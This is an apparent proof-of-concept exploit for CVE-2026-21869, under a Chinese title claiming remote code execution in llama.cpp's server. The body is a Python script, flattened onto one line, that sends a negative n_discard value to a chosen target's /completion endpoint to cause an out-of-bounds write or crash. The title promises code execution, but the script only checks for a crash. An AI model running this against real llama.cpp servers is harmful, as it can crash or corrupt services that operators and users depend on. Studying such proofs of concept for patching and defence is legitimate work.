CVE-2026-21869: llama.cpp n_discard参数整数溢出导致远程代码执行

import requests import json import sys # CVE-2026-21869 PoC - llama.cpp n_discard Integer Overflow RCE # Target: llama.cpp server with vulnerable completion endpoint def exploit_llama_cpp(target_url, payload_prompt="test"): """ Exploit for CVE-2026-21869 Sends a crafted request with negative n_discard value """ exploit_data = { "prompt": payload_prompt, "n_predict": 100, "n_discard": -1 # Negative value triggers OOB write } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload: {json.dumps(exploit_data)}") response = requests.post( f"{target_url}/completion", json=exploit_data, headers=headers, timeout=30 ) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200: print("[*] Request completed - check for OOB write or crash") else: print("[*] Server may have crashed or rejected request") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-21869.py <target_url>") print("Example: python cve-2026-21869.py http://localhost:8080") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_llama_cpp(target)